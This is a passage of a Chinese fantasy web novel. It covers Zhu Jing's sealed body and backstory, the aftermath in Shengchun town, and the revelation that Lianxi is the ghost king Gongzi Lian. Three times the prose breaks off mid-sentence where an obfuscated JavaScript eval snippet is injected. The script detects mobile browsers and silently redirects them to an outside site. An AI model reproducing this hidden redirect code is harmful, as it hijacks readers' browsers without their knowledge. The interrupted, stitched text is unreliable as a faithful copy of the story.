遥旭正站在一片无边的岩浆之上,脚底滚烫的岩浆烫得他一跳三蹦高。更诡异的是,他看到了一个满身烧伤的女人,正在岩浆上翩翩起舞。 莲溪道:“造这阵法的人很厉害,这里应该是祝璟所在之处 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莲溪似是松了一口气,道:“你没事就好。我们三个都被传送到不同的地方了,你现在在哪?” 言朝看着眼前这幅巨大的壁画,喃喃道:“我想,我大概是找到祝璟的身体了。” 莲溪顿了一下,道:“我这里有个人,应该就是祝璟说的人之一。另一个应该就在他那了。” 遥旭一听惊坐起,道:“我这儿确实有个人,但她,好像不太正常。” 那个女人仿佛不知疲倦一般,一刻不停地在岩浆上跳舞,也丝毫不觉得热,看上去疯疯癫癫的。口中还念念有词地说着什么,但相隔太远,他听不清。 这地方确实复杂,竟将他们三人分别传送到了不同的地方。 言朝道:“看来我们注定要单独行动一回了。不过好在我们之间还能保持联系。” 莲溪道:“桃花,那个手串中有我的法力。必要时,你可以用它。你万事小心,我会尽快解决完这里,与你汇合。” 遥旭一听不乐意道:“喂喂喂!我还在这儿呢!你怎么只顾桃花,不顾我啊?” 莲溪毫不客气地道:“你皮糙肉厚,懒得管你。” “......” 言朝笑道:“你们两个真是一天不拌嘴就难受是吧。不过,我倒是挺乐意听的。放心吧,我会小心的,这里很不对劲,你们也要小心。” 莲溪、遥旭道:“好。” 言朝又看向眼前的壁画,这里一共有三幅壁画,每一幅的内容都不相同。 眼前的这幅,画的正是祝璟。他悬于皇城上空,头顶灵光,被无数的鲜花与动物围绕,下方百姓与国主虔诚地向他叩拜,一起接受着他作为神的赐福,那是祝璟飞升成神后的景象。 但转瞬之间,画像的内容就发生了改变。鲜花枯萎,动物惨死,那些仰望着他的人,手中都举起了刀剑,像看着仇人一般死死地盯着他。而祝璟,他的头颅与四肢皆被砍断,一把锋利的剑更是直直插进他的心脏,方才还光鲜亮丽的他,顷刻之间就变得鲜血淋漓,惨不忍睹。 言朝又来到第二幅壁画前,上面画着天人鬼三界,连接三界的是一个个无字墓碑。而在这三界之外,有一双隐藏在暗处的眼睛正在注视着三界,那是一双充满仇恨的眼睛,它似乎在谋划着一件极其危险而恐怖的事情。 不知为什么,言朝的心中涌起一丝不安。 紧接着是最后一幅,当言朝看到那幅壁画时,整个呼吸都停滞了,她看到了很多死人,这其中就包括她自己。 26. 春音长绝归尘处2 言朝看见,壁画之上,她被锁链勒住颈项,捆缚四肢,悬于空中,在烈火寒冰中被数千恶灵啃食得几乎体无完肤,心脏被一柄长剑直穿而过,那剑上刻着一朵花,正是春神所种的寄春朝。 这死相真可谓是惨不忍睹。 刚才那种感觉只停留了片刻,再看时,心中已泛不起波澜。倒也不是害怕,只是有点儿意外。 毕竟,已经很久没看到有什么人或者东西这么盼着她死了。 想到此,言朝不觉笑出了声。 命在她手,想让她死,还得问问她同不同意。 不知何时,中间的那幅壁画忽然从中间向两边退开,出现了一条狭长漆黑的路。言朝望望四周,左右就这一条路,想也没想就走了进去。 方才那幅画着她死去的壁画悄然变化,又出现了两男一女,一男于众人面前亲斩其父,一男于千渡川遭万鬼啃食,而那女子最后将他们三人逐一斩杀。 一路上闪着忽明忽暗的微光,还有若有若无的流水声和哭声。 言朝走了很久,明明是一条笔直向前的路,却好似一直在向下走,直觉这里是更深的地底。忽而瞧见不远处有一束微弱的火光,应是走到了头,言朝加快步伐,在出口处遇见了一个一身白衣,披散着头发,孤身坐在一块石头上的小男孩。 那男孩听到有人来了,缓缓转身,言朝一惊,这不就是缩小版的祝璟吗! 言朝道:“你是祝璟?” 那男孩小跑上前,拉住衣角,朝她一笑,道:“就是我呀!你是来陪我玩的吗?”他的语气中满是对新来人的惊喜和期待。 言朝看着他,沉默良久,想了半天也不知道该说些什么,最后还是问:“你一直一个人待在这里吗?” 小祝璟点了点头,又摇了摇头,道:“其实还有一个人在陪着我的,但是他一直不说话,就只有我自己和自己玩。” 言朝不解:“还有一个人,是谁?” 小祝璟牵着言朝来到崖边,伸手一指,道:“你看,就在那儿。” 言朝一眼望去,那场面着实血腥骇人,一个披头散发,身穿血衣的人被一根带刺的铁链悬吊在空中,晃晃悠悠的,发出“吱嘎吱嘎”的声音。铁链上的铁刺深深刺入他的血肉,鲜血顺着衣摆滴落,将那血衣染的愈发红,像是永远都流不尽一般。 仔细一看,他的衣衫下空荡荡的,不完整的身躯倔强地支撑着随时可能断裂的头颅。一摇一晃间,黏贴在脸上的黑发也散落开,露出一双黑洞洞的眼眶和一张被缝起来的嘴。 那正是祝璟的身体。 言朝心道:“这个人到底和祝璟有什么深仇大恨,竟将他残害至此。这不仅仅是让他死无全尸,更是让他永世不得超生啊。” 但事情绝没有这么简单,不管怎么样,还是要先解救祝璟才行。 小祝璟突然道:“你能听我讲一个故事吗?” 言朝点了点头,小祝璟拉着她坐在那块石头上,道:“这是我自己的故事,希望你听了不要觉得无聊哦。” 言朝笑了笑,道:“好。” 小祝璟端坐在一旁,悠悠地道:“我名祝璟,为适约王第五子,是歌姬所生,自幼长在深宫,不受待见。” 祝璟的母亲本是贵女,因家族落魄被迫为姬,意外被适约王看中,宠幸过后,被冷落在深宫,直到祝璟的降生。为了让祝璟平安长大,其母一直将他扮作女孩,因他容貌酷似女子,故不曾有人怀疑。 其母教他识文断字,为人处世之道,让他成为了一个正直善良的人。母亲只希望自己的孩子能够平安健康,不涉朝堂争斗,有一日能离开这深宫,做一个自由的人。可惜好景不长,他男扮女装的身份被揭穿,受到了以大王子为首的众王子的欺压凌辱。适约王对此永远漠视。 那时,他便暗下决心,终有一日他会带着母亲远离这里,过上平静的生活。 他才华出众却不显露,还拥有一副和母亲一样的好嗓音,因他是皇子,可以经常出入王宫,他便将积攒下来的银钱拿到城郊的一处草屋中,由一个姑娘代为保管。 那姑娘是他八岁第一次出宫时,在一个牙人手中救下的。那姑娘不知从哪来,只知她绣在衣服内侧的名字——怀瑜。 怀瑜因被牙人多番转卖,自幼颠沛流离,早已忘记自己家在何方,父母是谁,也因此生性敏感多思,不愿轻易信任于人。祝璟与她年岁相仿,联想到自己的境遇,不愿再让她继续漂泊,又无法将她带入宫中,便安顿在了城郊小屋。 随着二人渐渐长大,祝璟发现怀瑜有极高的舞蹈天赋,宫中恰有一位即将退养的教坊妈妈,祝璟便请她教导怀瑜。他们二人一歌一舞,相得益彰。他们互相约定,待祝璟离开后,他们带着母亲一起,找一处地方,开一间乐坊书屋。 虽然适约人善歌舞,但若是以此为工作,在王室人眼中是极不入流的。 祝璟并不在乎这些。 十五岁那年,祝璟在宫外百姓自发的节日庆典上一展歌喉,闻者无不为之沉醉,百姓中有人感叹:真乃春神降临! 祝璟的事迹很快传入宫中,引来其他皇子的猜忌和不满。民间传言:适约王将立祝璟为太子。事实也的确如此。 但这只是适约王与祝璟的一次交易。 那时适约各地天灾不断,以致民心不稳,适约便借机利用祝璟的名气将他推举为太子,以平民怨,条件就是事成之后让母亲离开皇宫。 祝璟心系百姓,若此事成,他可平安与母亲彻底离开,若此事败,他以死谢罪,至少换得母亲平安。 他怀着无比虔诚的心唱响那曲《春神颂》,百姓无不为之感怀,祭典过后不久,适约各地的灾情竟奇迹般的有所缓解,百姓纷纷上书感谢祝璟。适约王见此情形,深觉此子前途无量,便为此塑了一座白瓷像,故而违反约定,不让祝璟离开。 此举引来其他王子的不满,更是从一游方道士口中得知祝璟不日便会飞升成神,便从那道士手中讨来一恶毒邪法,在祝璟飞升之日,竟以神位作为交换,联合怀瑜对祝璟暗下杀手,砍断了祝璟四肢,挖了他的眼,分了他的魂,杀了他的母亲,将他封印在雪山底。而怀瑜也取代了祝璟的位置,飞升成神。 怀瑜就是如今的明秀元君。 不久后,大王子弑君夺位,昭告天下先王无言面对百姓,退位归隐。 祝璟永坠黑暗。 小祝璟站起身,道:“故事讲完了,我也该走了。” 言朝有种不好的预感,道:“你要去哪儿?” 小祝璟笑了一声,道:“谢谢你来救我。如果你见到她,能帮我带句话吗?”他边说边往后退,眼看着离崖边越来越近。 言朝却像是被施了定术,动弹不得,她急道:“你要做什么?有话你自己出去跟她说,我不接受!” 小祝璟道:“帮我跟她说‘我不怪她了’。还有,帮我跟那对夫妻说‘谢谢,对不起’。”话音刚落,小祝璟一跃而下。 “不要!!!” 一道刺眼的白光闪过,只听“咔嚓”一声,捆绑祝璟身躯的铁链应声断裂,他的身躯同断裂的铁链一起坠入地底,归于尘埃。 言朝快步上前,却还是晚了一步,她跪在崖边,望着下面深不见底的深渊,忽然明白了祝璟的用意,他从一开始就知道自己出不去,只有死得彻底,这里的封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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遥旭叹了声气,道:“那个女人虽然神志不清,甚至忘了自己,但她一直记得她的丈夫和女儿。” 可惜,祝璟不能离开这里了,他们也没有听到祝璟的谢谢和对不起。 封印解除了,三人又回到了石台前。 白瓷像碎了,二十八星宿也不见了,祝璟解脱了。 遥旭道:“想不到这件事竟又扯出了一个天上的神。也不知咱们到底要解决多少事情,要是每一桩都揪出一个神,天都岂不是要乱套了。”他说这话时,带着点愤愤不平,又有点幸灾乐祸。 言朝意味深长地道:“或许事情还没有结束。” 莲溪道:“咱们先离开此地,外面还有一摊子事呢。” ...... 三人回到了胜春镇,这里却彻底变了个样。 街上空无一人,屋舍破败,杂草丛生,白幡挂满了整个胜春镇。 三人面面相觑,不知发生了什么事情。他们回到迟家店,一进门就看见迟婆婆和小山面色凝重的枯坐在桌前。 祖孙俩一听开门声,循声望去,看到是他们三人回来,大喜过望,迟婆婆道:“你们终于回来了!这一去十多天,我还以为你们出了什么事。”迟婆婆双手合十,又道,“谢天谢地,神佛保佑,你们总算平安回来了。” 三人听了迟婆婆这番话,只觉不可思议,他们明明只是去了一天不到,外面竟已过去了那么久。 莲溪道:“外面是怎么回事?” 迟婆婆闻言摇了摇头,道:“真是造孽啊!他们,他们都死了。” 27. 寄春朝再见故人 在他们离开后的第二日,那些信徒们突然像发了疯似的满街乱窜,他们神态诡异,举止疯癫,像极了嗑药过度后产生的不良反应。迟婆婆记着莲溪他们出门前的叮嘱,紧闭房门,不听不看,任外面闹翻了天,也没有踏出一步。 外面就这么闹腾了一整天,突然一下子没了声响,迟婆婆起初还没在意,直到从外面飘进来一股腐臭的味道,并且味道越来越重,熏得人甚至无法正常呼吸,迟婆婆终于动了查看的念头。 为了安全起见,她打开二楼的窗户查看,迎面就被刺鼻的臭味熏得直咳嗽,她用帕子遮住口鼻,向下一望,差点儿被眼前的场景吓得从上面摔下去。 大街上干净平整的石板路已经消失不见,取而代之的是一滩又一滩的比泔水还要恶心的玩意儿。上面漂浮着死鱼烂虾臭老鼠,残羹剩饭老肥油,其中还掺杂着许多尚未完全溶解的,骨头毛发大眼珠,那些人都化了。 迟婆婆当即跪地呕吐,心有余悸,不知到底发生了什么,也不知该如何是好,事后再想雪山的妖怪已经被解决掉了。当晚胜春镇下了一场大雨,这场雨足足下了三天,等雨停的时候,外面又变得干净如新,只是偌大的胜春镇,就只剩下迟婆婆和小山了。 小山问迟婆婆外面发生了什么? 迟婆婆只是回答:“他们都离开了,去了他们该去的地方。” 虽然今天这个结果是他们自己咎由自取,但到底是一起相处了多年的乡邻,如今他们都离开了,就剩她一个未亡人,还是要送上一程的。 迟婆婆和小山准备了白幡和纸钱,给家家户户都挂上一幅,她一个人走遍胜春镇的大街小巷,为他们送上最后一程。 从此雾霾尽散,胜春逢春。 言朝道:“那你们今后有什么打算?” 迟婆婆将小山揽在怀中,苦笑一声,道:“以前想着离开,现在真的能离开了,反而走不了了。” 言朝点了点头,摸了一把空空如也的肚子,笑道:“咱能先吃点饭吗?我饿了。”方才回来时还不觉得,一听迟婆婆说他们离开了十多天,瞬间就饿了。 小山抬头看向迟婆婆,道:“奶奶,小山也饿了。” 迟婆婆笑道:“好好好,我去给你们做吃的。” 遥旭道:“还是我去做吧。” 迟婆婆摆摆手,道:“你们这一趟辛苦了,既然平安回来了就好好休息。老婆子我保证,这次不会再给你们吃糙饼和酱菜了。” 三人皆是一笑,便安心落座等着迟婆婆。 莲溪还是惯常给言朝倒了杯水,也顺便给遥旭倒了一杯。 小山许久没见言朝,缠着让她抱,小山在她怀里特别乖,道:“姐姐,坏人真的都被赶跑了吗?” 言朝莞尔:“是啊,以后小山和奶奶就能过上安稳的生活了。” 小山道:“那姐姐之前说有一件和小山有关的事情,但要等事情结束后才能说,是什么事啊?” 此话一出,二人看向言朝,言朝自然是没忘记那件事,但也没直说,神神秘秘地道:“等你奶奶再说。这对你来说是件好事,但还得看你奶奶同不同意。” 没多久,迟婆婆就端上来三大一小四碗热腾腾的蒸饵丝,一上桌,那香气顿时把言朝馋的口水直流。她等不及先吃了一大口,满足得直跺脚,口中含糊道:“这太好吃了!一会儿您可得教我怎么做的啊!” 迟婆婆看言朝吃得这么开心,她也跟着高兴,道:“好好好,慢点儿吃,不够还有。” 莲溪道:“怎么只有四碗?你不吃吗?” 迟婆婆道:“我早就吃过了。年纪大了,吃不了多少就饱了。你们快尝尝,这臊子是今天新炒的,本来我还想着你们今天会不会回来,没想到还真回来了。正好尝个鲜。” 遥旭大赞:“好吃好吃!吃完再美美地睡上一觉,简直悠哉。” 一碗饵丝下肚,言朝餍足地打了个饱嗝,终于说起那件事,正色道:“婆婆,我想跟您商量一件事,关于小山。” 迟婆婆见她突然严肃起来,又是关于小山,心下有些害怕,道:“什么事啊?” 言朝温和一笑,道:“您别紧张。我是想说,我之前给小山把过脉,他之所以变成这样是打娘胎里带的毒,这并不是不能医治的。” 迟婆婆有些激动,以为自己听错了,忐忑地又问了一遍:“你刚才说,小山他,可以被治好?” 言朝郑重地点了点头,道:“当然,不过恢复时间会久一些,你们也需要离开这里一段时间。” 迟婆婆眼中闪着光,刚要开口答应,突然想到了什么,又默默收回了。 言朝猜出她心中所想,道:“不用担心钱的问题,我看您这店打理的挺好,厨艺也不错,去了那儿正好可以用这个来抵药费。” 迟婆婆有些动容道:“真的可以吗?” 言朝道:“可以。等小山恢复以后,你们还可以再回到胜春镇继续生活。” 迟婆婆道:“不知要去什么地方?” 言朝道:“春山楼。” 遥旭惊讶道:“桃花你竟然是春山楼的?你不会是那个......” “我知道你想说什么。”言朝打断他的话,眨眨眼,又道,“但我只是春山楼的一个伙计而已。” 遥旭道:“早该想到的,你那么擅长用药,凡事还一副处变不惊的样子,知道的还不少,也就只有春山楼的人有这个本事了。” 言朝有点儿小骄傲地道:“那是自然!我们春山楼可不养闲人,随便挑出来一个,都是个顶个的好!”一语毕,言朝从包中拿出一个坠子,坠子里嵌着一张画工精致的小像,看向莲溪,又道,“你看我画得如何呀?” 莲溪先是一愣,而后挑眉问道:“这是你画的?” 言朝道:“绝对保真。” 莲溪笑道:“嗯,很好。” 那小像上画的不是别人,正是那位曾被怀疑是春山楼的鬼王公子莲。 遥旭侧头一看,翻了个白眼,有些不满道:“为什么是他?就没有别人的吗?” 言朝如实道:“有,但我没带。毕竟公子莲是鬼界老大嘛,这路上要是碰上个妖魔鬼怪,拿出这个兴许还能震慑一下。” 莲溪哈哈笑了两声,像是被逗笑了,但又莫名带着点儿得意。 迟婆婆道:“这坠子竟有如此神奇?” 上至诸天仙神,下至鬼界五王,皆有信徒供奉。有钱的就立庙修祠,日日供灯添香;没钱的就到庙里拜拜上柱不要钱的香,或者家中挂个画像。这种坠子则是一种如同护身符一般的精神寄托,有事就放在心口念叨两句,没事就挂在胸前辟邪消灾,老少皆宜,不论贫富。 但能做这坠子的,三界上下,唯有春山楼。坠子后刻着春山楼独有的暗纹,其他皆是仿冒。凡经春山楼所售,皆会先在对应的庙中上香加持七日后统一售卖。春山楼在神鬼两界各有一店,这对于双方来说,都是相互裨益的。 言朝笑叹一声,道:“我本是想借着春山休市的时间来一睹假冒春山楼主的人,结果春山楼主没见到,倒是遇见了两个俏郎君。” 遥旭咳了一声,道:“你如何知道是假冒的?” 言朝道:“不知道啊,毕竟谁也没见过春山楼主的真容。但这个名头这么大,总会有人想要冒充吧。” 莲溪道:“你不想知道真正的春山楼主是谁吗?” 言朝道:“好奇还是有的,但对我来说不重要。知道也就仅此而已。” 迟婆婆深感这位春山楼主绝非等闲之辈,连一个普通的伙计都如此不凡,与她同坐的另外两位也定非凡人。如此想来,心中更生忧虑。 迟婆婆道:“春山楼既是这样的地方,我们贸然前去不太好吧。” 言朝见她似乎误会了什么,笑道:“虽然我们楼主挺神秘的,但我们做这些事都是被默许的。你和小山只管放心去,楼主不会怪罪的。” 迟婆婆这才放下心来,道:“那就谢过姑娘了。” 言朝道:“算算日子,春山楼的商队应该不日就会从此间经过。既然事情已经定下来了,不如你们明早就启程,让墨墨给你们带路。商队的人看到墨墨就会带你们一起回春山楼了。” 迟婆婆没想到这么突然,道:“明早就走吗?” 言朝道:“赶早不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068618|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶晚,早点儿去,小山也能早点儿好。”她摸了摸小山的头,又道,“我答应了小山会让他正大光明地从这里走出去。” 翌日清晨。 迟婆婆和小山收拾好行囊准备出发,临行前,迟婆婆带着小山跪地向三人磕了三个响头。言朝连忙将二人扶起,道:“你们这是做什么?” 迟婆婆道:“是三位解救胜春镇,解救了我和小山。我们与姑娘萍水相逢,姑娘还愿请东家治疗小山。三位的恩情,我和小山做牛做马也会报答你们的!” 言朝道:“我还要谢谢你愿意相信我让小山治疗,一切都等小山好了再说。到那时,你们也不必当牛做马,好好活着就行。” 遥旭难得正经道:“是啊,好好活着比什么都重要。” 小山不舍地拉着言朝的手,道:“姐姐我们会再见吗?” 言朝蹲下身将他抱在怀里,郑重道:“当然!小山和奶奶都要照顾好自己,我们很快就会再见的。” 小山道:“那下次见面我还想听姐姐给我唱歌。” 言朝道:“一言为定。” 看着他们渐行渐远的身影,不远处的雪山雾气散尽,洒下了一片金辉。 言朝兴奋道:“看!那是日照金山!想见总会见到的。” 身后的二人也为之动容。 忽然,有一个人从漫天金光中款款走来,她一袭素衣,腰佩玉环,青丝半挽,宛如神女降临。 待看清来人,遥旭惊喜道:“弥清,你怎么来了?” 弥清向言朝和莲溪微笑颔首,言朝与莲溪也淡笑颔首。不知为何,言朝一见到弥清就有一种亲切感,好像她们以前就认识似的。 弥清看向遥旭,道:“我是来替明秀元君解释一件事的。” “明秀元君从未蓄意伤害过适约太子。” 当年,祝璟在成为太子前夕来来找过怀瑜,告诉她很快就能离开了。祝璟成为太子后,坊间便流传起祝璟即将飞升的消息,让怀瑜以为祝璟没有信守承诺,要抛下他的母亲还有自己。 没几日大皇子便找到怀瑜,更将此事添油加醋了一番,要以神位交换,将祝璟拉下神坛。怀瑜恍然醒悟,这一切都是大皇子的阴谋,她为救祝璟,假意答应,本想借机刺杀,若是刺杀不成,便用自己代替祝璟,也算是报了当年的恩情。她本就是水中浮萍,短暂停留后,还是要飘走的。岂料螳螂捕蝉黄雀在后,她刺杀未遂,反被其他皇子的人一剑封喉。 她飞升后,因祝璟之死心怀愧疚,加之世人也对她的飞升颇有疑议,她三缄其口,从不解释。故天界很多神官都对她颇有微词。 遥旭先前并未在意过她的出身,只觉她性格孤僻,不好相与,说她的话也并非有意针对。如今知道个中因果,还是心生愧疚,道:“那她为何没亲自来?” 弥清面露伤感,道:“她来不了了。心中执念已深,尽数化为舞步,停不下来了。帝君已命人带她下界休养,由我暂代其位。我相信她会回来的。” 一时间,几人都不说话了,沉默良久,还是莲溪先开口:“事已至此,有些话还请你代为转达,或可使她恢复。” 莲溪将祝璟的话与那对夫妇的托付告知于她,弥清听后只觉遗憾,希望怀瑜知道后心中能有些许慰藉。 言朝看向弥清,道:“我听说弥清仙子有一把晓尘琴,可净化浊气,安渡魂灵。此地沉疴已久,不知能否在此弹奏一曲?” 弥清温声道:“你叫我弥清就好,比起封号,我更喜欢听别人叫我的名字。至于你刚才说的,我也正有此意。” 四人来到雪山脚下,弥清召出晓尘琴,指尖拂过琴弦,一曲悠扬婉转的音律响彻云端。言朝借机拿出一颗种子埋进土里,不一会儿便发了芽,那是寄春朝的种子。 遥旭道:“自适约覆灭后,世间便再无寄春朝。真不愧是春山楼,竟然连这都有。” 言朝道:“寄春朝花种落地发芽,花开可使人心中快乐,再展欢颜。它本就来自这里,如今回来了,就当是春神对这片土地的祝福吧。” 说这话时,莲溪手心上的刺青忽然闪着光,莲溪看着手心这朵寄春朝,笑了。 28. 寄春朝再见故人2 “锵锵锵锵锵锵锵——!!!俺榜灵又回来啦!” 榜灵的声音凭空响起,四人之中只有弥清疑惑地看看四周,却不知是什么东西在说话。 遥旭看向弥清,两手一摊,道:“这就是个不敢露脸,还有点儿病的丑东西,习惯就好。” “你说谁是丑东西?!!!” “我还没说你们不抓紧办案,就知道吃吃吃!!!” 言朝有点儿无辜地道:“草木需要土壤滋养,动物需要捕猎觅食,和尚还得吃五谷杂粮。我们不吃饱,哪有精力去查案?我看你是吃不到嫉妒我们吧!” 莲溪打了哈欠,道:“你要是看不惯我们,大可以去找别人,反正我看你也不顺眼。”语气里尽是不屑和不在意,若是榜灵说换人,他乐意之至。 “......” 弥清更迷惑了,“榜灵”到底是个什么东西? 沉默片刻后,榜灵再次开口:“好好好!不就是真身吗!有什么不能看的!我不是说了等人齐了自然就会现身吗?你们这些年轻人是耳朵不好,还是脑子不好?!!” 话音刚落,平地起了一阵风,乍见一道光从天而降,一个圆滚滚的身影从光中飘过来,以为是什么白胡子胖老头,结果竟然是个白白胖胖的小屁孩! 遥旭当即翻了个白眼,故意大声道:“真是老太太搽粉——装嫩。” 榜灵当即黑脸,飞身到遥旭跟前,用他那肉乎乎的小拳头,在遥旭的脑袋上狠狠砸了一记,道:“你这个年轻人怎么跟老人家说话呢!懂不懂什么叫尊老爱幼......诶等会儿!抓我干嘛......喂!” 榜灵话还没说完,就被莲溪一手给拎起来了,拎在手中上下左右甩了甩,另一只手还捏了捏他的包子脸,那样子像是在摆弄一个玩具,笑道:“嗯,手感还不错。你这么一个不伦不类的东西,也好意思让我们尊老爱幼?” 榜灵大叫道:“我可是天......”他突然顿了一下,狠狠地瞪了一眼莲溪,转而哭丧着脸,幽怨道,“真是世风日下啊!!!现在的年轻人怎么都这么难带啊!!!” 弥清突然凑到身前,好奇地打量他,道:“你就是那个天稷榜的榜灵啊。” 榜灵一听登时换了一副面孔,笑眯眯地道:“正是在下!果然还是后来者有礼貌啊。” 此话一出,除弥清外,在场的三人皆是一惊。 遥旭道:“你说弥清就是被天稷榜选中的最后一个人吗?” 榜灵道:“没错儿!惊不惊喜!意不意外!” 一时间都不说话了,四人神色各异,他们各自的心中都不约而同地生出同一个猜测,但谁都没有说出来。 言朝率先开口道:“弥清,我是刘桃花,以后咱们就一起吃喝玩乐吧!查案什么的,就放到后面吧!” 弥清主动揽上言朝的胳膊,笑道:“好啊。不知道为什么,我一见你就觉得亲切,好像我们很早就认识一样。” 言朝意味深长道:“我也是。说不定我们以前真的认识呢。” 莲溪随意将榜灵扔在一边,道:“正好再过几日就是江鱼的生辰,咱们四个一起庆祝吧。” 遥旭嘿嘿一笑,道:“亏你还记得我的生辰。怎么着,今年还是老地方?” 莲溪“嗯”了一声,看向言朝,道:“怎么样,桃花?” 言朝笑道:“我当然要去了。不过我得先给他准备个生辰礼吧。” 遥旭一听还有礼物,顿时两眼放光,正欲开口,就听莲溪道:“他老大不小了,不用准备礼物。你人来就算是送礼了。” 遥旭扯了扯嘴角,白了他一眼,道:“真是白夸你了。” 被忽略已久的榜灵突然出现在四人中间,道:“.....你们是不是太不尊重我了。” 弥清道:“你应该挺忙吧。要是我们邀请你,你真的会去吗?” 榜灵抱臂昂首,十分傲娇道:“我才不去呢。” 莲溪道:“那正好,本来也没想带你。适约这案子了了,你哪来的回哪去吧。” 榜灵:“......” “本灵还不稀罕呢!走啦!”刚要走,榜灵又语重心长道:“既然人齐了,就好好查案吧。别忘了,你们心中想要的答案还在后头呢。”说完就变成一缕烟消失了。 言朝微微一笑道:“那也影响不了我吃喝玩乐。” 榜灵离开后,弥清需返回天都向帝君禀明此间事宜,遥旭与她同行,四人约定五日后在老地方见。 现在就只剩下莲溪和言朝两个人。 言朝问:“你们认识很久了吗?” 莲溪道:“嗯,很久了。” 言朝再问:“那我是不是该叫你公子莲?” 须臾的静默,莲溪低笑一声,只道:“感觉像吗?” 言朝莞尔,道:“如假包换。” 莲溪像是来了兴致,道:“怎么发现的?” 言朝头头是道地分析道:“第一,你的名字,传闻公子莲得道时步步生莲,故得此名;第二,你的法力,在胡杨林江鱼的法力受限,你却没有任何影响;第三,你的体温,你的手很凉,那不是人该有的温度;第四,公子莲画像,你看着很喜欢。想这天上地下的各路鬼神,能像你这般无所不知,又好像一切尽在掌握,应该非那位神秘的鬼王公子莲莫属了。” 言朝突然倾身靠近,眨眨眼,道:“我更多的是一种直觉,但其实你本来也没打算瞒着吧。” 莲溪注视着言朝,沉默半晌,道:“桃花果然聪明。你刚刚说的话就当是你在夸我了,还有,那张小像我很喜欢。” 言朝后退两步,掏出坠子递给他,道:“既然你喜欢,就送你啦。” 莲溪收起坠子,看了眼掌心的刺青,道:“其实除了这个,你早就送过我别的东西了。” 言朝以为是之前给他的杏子干,却意外瞥见他掌心的刺青,她记得在夜兹画诺巴时,那时他的掌心就有这个刺青,只是当时没看到。如今细看,倒很是眼熟。 言朝抓起他的手,仔细瞧了瞧,惊讶道:“这是寄春朝?” 莲溪道:“熟悉吗?” 言朝想都没想就道:“我当然熟悉啊!刚刚不还种下去一颗吗?” 莲溪失笑,有点无奈,又有点期待。 言朝又问:“莲溪,是你的本名吗?” 莲溪没说话,而是拉起她的手,在她掌心上写下两个字“风奚”,才道:“风奚,我的名字。” 言朝盯着掌心愣了半天,忽而就笑了,像是发现了什么宝藏,她抬头看向风奚,双眸亮晶晶的,贼兮兮地笑道:“原来这就是你的名字啊。还挺好听。” 风奚挑眉道:“但你笑的很奇怪。” 言朝一本正经道:“我激动啊!如今三界三大未解之谜之一就是鬼王公子莲的长相,我不仅知道了公子莲的名字,还知道了他的长相,这难道不值得激动吗?” 三界中响当当的人物,除了上一任的天稷四君子,还有如今的三大未解之谜:公子莲、公子惑、春山楼主。 公子莲是既枫弋之后的鬼界之主,他一手缔造了鬼界双城——妄生城与望生城;还设了念桥和往生树,对鬼界贡献极大,有信徒万千。 但他终日带着一副狼狐面具,无人知道他的样貌和姓名,只知他自鬼界焱刹场而生,又因他飞升时步步生莲,世人便称他为公子莲。 此后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106074|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼界又接连出现了四位鬼王,虽各自为政,但公子莲仍是老大。 公子惑是不知是神是鬼的人物,他之所以得名,是因公子莲飞升之时将他一道带上了天。他一袭玄衣,长发半披,颈上戴着一条绛紫色长璎珞,他的胸前和手臂上的文字刺青若隐若现,妖冶魅惑,故得名公子惑。 他与公子莲那日在天都与众神大战三百回合,而后公子莲纵身一跃回了鬼界做鬼王,公子惑却不知所踪。 昙花一现,来去匆匆。不知姓甚名谁,不知是神是鬼,不知他从哪来,以后还会不会回来。 春山楼主就更不必说了。 总之,这三位身上都是带着各种秘密的。 言朝脑海中忽然又想到一件不得了事,不等风奚回答,赶紧又问:“那江鱼是不是......” 莲溪道:“是。他叫遥旭。” 言朝“哇”了一声,不敢相信地摇了摇头,道:“那他不仅是公子惑,还是瘟神?” 莲溪道:“是。” 言朝觉得不可思议,又觉得在情理之中,方才那个猜测在她心中又印证了几分。惊讶过后,更多的是久违的欣喜,一股难以言表的心情将她的心填满。 言朝一时不知该如何形容这种复杂的感觉,有点开心,又有点难过,眼眶也不觉酸胀,她低头深吸了一口气,沉淀了好一会儿,才终于抬头看向风奚,道:“真好。” 风奚道:“什么?” 言朝道:“认识你们真好。” 风奚不知为何她的情绪转变如此之快,但见她是真的开心,便也没再多问。 风奚道:“你不是说想去妄生城吗?遥旭每年生辰不是在鬼域,就是在他的云间坞。今年在鬼域,正好可以带你逛逛妄生城。” 言朝拍手笑道:“好啊好啊!我早就想一睹鬼界双城的风采了,如今也算是沾了风奚大人的光!” 风奚道:“我还是更喜欢你叫我的名字,风奚或者莲溪。” 言朝也觉得怪怪的,便唤他名字:“风奚。” 不知是不是言朝的错觉,她总觉得这声名字唤完,他们之间的距离好像比之前更拉近了一些,好像有某种东西和以前不同了。 